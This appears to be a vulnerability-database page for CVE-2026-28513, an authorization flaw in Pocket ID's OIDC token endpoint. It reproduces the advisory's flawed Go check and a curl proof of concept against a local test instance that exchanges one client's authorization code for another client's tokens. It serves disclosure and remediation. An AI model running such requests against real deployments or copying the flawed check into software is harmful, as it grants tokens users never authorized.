CVE-2026-28513: Pocket ID OIDC Authorization Code Validation Uses Vulnerability

HIGH
Advisory Identifier: GHSA-qh6q-598w-w6m2
CVSS 8.5
CWE-863
Published
Advisory Summary

CVE-2026-28513 is a HIGH (CVSS 8.5) oidc authorization code validation uses vulnerability (CWE-863: Incorrect Authorization) affecting Pocket ID libraries in the Go ecosystem. The issue involves oidc authorization code validation uses and instead of or, allowing cross-client token exchange. Remediation is available by upgrading affected packages to version 0.0.0-20260307173642-b59e35cb59ae.

CVE-2026-28513 at a Glance

CVE Identifier CVE-2026-28513
GHSA Identifier GHSA-qh6q-598w-w6m2
Severity HIGH
CVSS v3.1 Base Score 8.5
CWE Classification CWE-863: Incorrect Authorization
Affected Product Pocket ID
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-28513

To remediate this vulnerability, upgrade all affected Pocket ID dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/pocket-id/pocket-id/backend fixed: 0.0.0-20260307173642-b59e35cb59ae
Upgrade github.com/pocket-id/pocket-id/backend to 0.0.0-20260307173642-b59e35cb59ae
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/pocket-id/pocket-id/backend

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-28513, inspect your project dependencies for Pocket ID:

inspect dependencies for github.com/pocket-id/pocket-id/backend

Analyze the terminal output to locate any version of Pocket ID in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260307173642-b59e35cb59ae), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Pocket ID, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The OIDC token endpoint rejects an authorization code only when **both** the client ID is wrong **and** the code is expired. This allows cross-client code exchange and expired code reuse. ### Details `backend/internal/service/oidc_service.go:407` ```go if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) { return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{} } ``` `&&` should be `||`. Current behavior: | Condition | Expected | Actual | |-----------|----------|--------| | Wrong client + valid code | Reject | **Accept** | | Correct client + expired code | Reject | **Accept** | ### PoC **Prerequisite:** pocket-id running with `APP_ENV=test` and `BUILD_TAGS=e2etest`. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., `user_authorized_oidc_clients` records exist for both). The seed data includes an authorization code `auth-code` issued for the Nextcloud client. ```bash # 1. Seed test data curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true" # 2. Exchange Nextcloud's auth code using Immich's credentials curl -X POST http://localhost:1411/api/oidc/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "grant_type=authorization_code" \ -d "code=auth-code" \ -d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \ -d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \ -d "redirect_uri=http://immich/auth/callback" # Expected: 400 (wrong client) # Actual: 200 with tokens — access_token.aud = Immich client ID ``` **Verified result:** HTTP 200 with tokens. The `access_token` audience is `606c7782-...` (Immich), despite the authorization code being issued for `3654a746-...` (Nextcloud). ### Impact Any OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.

CVE-2026-28513 Affected Pocket ID Versions

1 component(s)
Fixed Versions:
0.0.0-20260307173642-b59e35cb59ae
Product / Package Ecosystem Affected Versions Fixed Version
github.com/pocket-id/pocket-id/backend
Go
< 0.0.0-20260307173642-b59e35cb59ae
0.0.0-20260307173642-b59e35cb59ae

References

Frequently Asked Questions

What is CVE-2026-28513?
CVE-2026-28513 is a security vulnerability in Pocket ID involving OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange under CWE-863: Incorrect Authorization.
Which Pocket ID versions are affected?
Affected versions include releases prior to 0.0.0-20260307173642-b59e35cb59ae across affected packages: github.com/pocket-id/pocket-id/backend.
What version fixes CVE-2026-28513?
Upgrading to 0.0.0-20260307173642-b59e35cb59ae (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/pocket-id/pocket-id/backend affected?
Yes, github.com/pocket-id/pocket-id/backend is affected in releases prior to 0.0.0-20260307173642-b59e35cb59ae. Upgrade your dependency to 0.0.0-20260307173642-b59e35cb59ae or later.
What is the CVSS score of CVE-2026-28513?
CVE-2026-28513 has a CVSS v3.1 base score of 8.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2026-28513?
CVE-2026-28513 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-28513?
Run the dependency tree command: 'inspect dependencies for github.com/pocket-id/pocket-id/backend'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qh6q-598w-w6m2",
  "modified" : "2026-03-10T18:43:07Z",
  "published" : "2026-03-09T17:24:49Z",
  "aliases" : [ "CVE-2026-28513" ],
  "summary" : "Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange",
  "details" : "### Summary\n\nThe OIDC token endpoint rejects an authorization code only when **both** the client ID is wrong **and** the code is expired. This allows cross-client code exchange and expired code reuse.\n\n### Details\n\n`backend/internal/service/oidc_service.go:407`\n\n```go\nif authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {\n    return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{}\n}\n```\n\n`&&` should be `||`. Current behavior:\n\n| Condition | Expected | Actual |\n|-----------|----------|--------|\n| Wrong client + valid code | Reject | **Accept** |\n| Correct client + expired code | Reject | **Accept** |\n\n### PoC\n\n**Prerequisite:** pocket-id running with `APP_ENV=test` and `BUILD_TAGS=e2etest`. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., `user_authorized_oidc_clients` records exist for both). The seed data includes an authorization code `auth-code` issued for the Nextcloud client.\n\n```bash\n# 1. Seed test data\ncurl -X POST \"http://localhost:1411/api/test/reset?skip-ldap=true\"\n\n# 2. Exchange Nextcloud's auth code using Immich's credentials\ncurl -X POST http://localhost:1411/api/oidc/token \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"grant_type=authorization_code\" \\\n  -d \"code=auth-code\" \\\n  -d \"client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018\" \\\n  -d \"client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x\" \\\n  -d \"redirect_uri=http://immich/auth/callback\"\n# Expected: 400 (wrong client)\n# Actual: 200 with tokens — access_token.aud = Immich client ID\n```\n\n**Verified result:** HTTP 200 with tokens. The `access_token` audience is `606c7782-...` (Immich), despite the authorization code being issued for `3654a746-...` (Nextcloud).\n\n### Impact\n\nAny OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/pocket-id/pocket-id/backend"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260307173642-b59e35cb59ae"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-qh6q-598w-w6m2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28513"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pocket-id/pocket-id"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-09T17:24:49Z",
    "nvd_published_at" : "2026-03-10T17:38:50Z"
  }
}